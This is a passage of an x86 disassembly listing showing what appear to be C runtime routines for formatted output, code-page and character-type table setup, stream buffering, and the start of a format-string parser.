		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2670000h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		jmp	near ptr 266082Ah
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2660857h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		call	near ptr 2670000h
		nop
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
